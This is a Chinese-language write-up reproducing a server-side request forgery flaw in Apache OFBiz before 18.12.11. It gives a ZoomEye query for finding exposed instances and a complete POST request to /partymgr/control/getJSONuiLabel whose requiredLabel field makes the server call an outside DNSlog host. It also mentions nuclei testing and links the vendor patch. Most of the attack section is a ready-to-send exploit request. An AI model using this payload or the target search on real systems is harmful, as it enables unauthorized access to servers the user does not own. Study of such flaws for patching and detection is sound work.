0x00写在前面

本次测试仅供学习使用，如若非法他用，与本平台和发布者无关，需自行负责！

0x01漏洞介绍

Apache OFBiz是美国阿帕奇（Apache）基金会的一套企业资源计划（ERP）系统。该系统提供了一整套基于Java的Web应用程序组件和工具。

Apache OFBiz 18.12.11之前版本存在代码问题漏洞，该漏洞源于用户可以在未经授权的情况下操作相同的uri来实现服务器端请求伪造攻击。

0x02影响版本

Apache Ofbiz < 18.12.11

0x03漏洞复现

zoomeye语法

zoomeye语法 app:"Apache OFBiz"

1.访问漏洞环境

2.对漏洞进行复现

 POC （POST）

漏洞复现

POST /partymgr/control/getJSONuiLabel HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36
Connection: close
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

requiredLabel={"http://edfhbfzyhp.dgrh3.cn/api":"THr1Hh"}

执行payload


测试DNSlog（漏洞存在）

3.nuclei工具测试（漏洞存在）

0x04修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://lists.apache.org/thread/x5now4bk3llwf3k58kl96qvtjyxwp43q